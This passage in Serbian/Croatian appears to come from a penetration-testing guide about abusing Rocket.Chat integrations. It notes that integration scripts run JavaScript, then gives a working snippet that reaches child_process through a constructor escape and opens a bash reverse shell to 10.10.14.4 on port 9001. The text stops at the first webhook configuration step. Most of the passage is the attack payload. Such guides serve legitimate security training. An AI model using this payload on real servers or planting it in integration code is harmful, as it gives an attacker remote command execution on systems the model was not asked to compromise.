- Prema [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), oba koriste ES2015 / ECMAScript 6 ([u suštini JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) za obradu podataka. Dakle, hajde da dobijemo [rev shell za javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) kao:
```javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
- Konfigurišite WebHook (kanal i post kao korisničko ime moraju postojati):
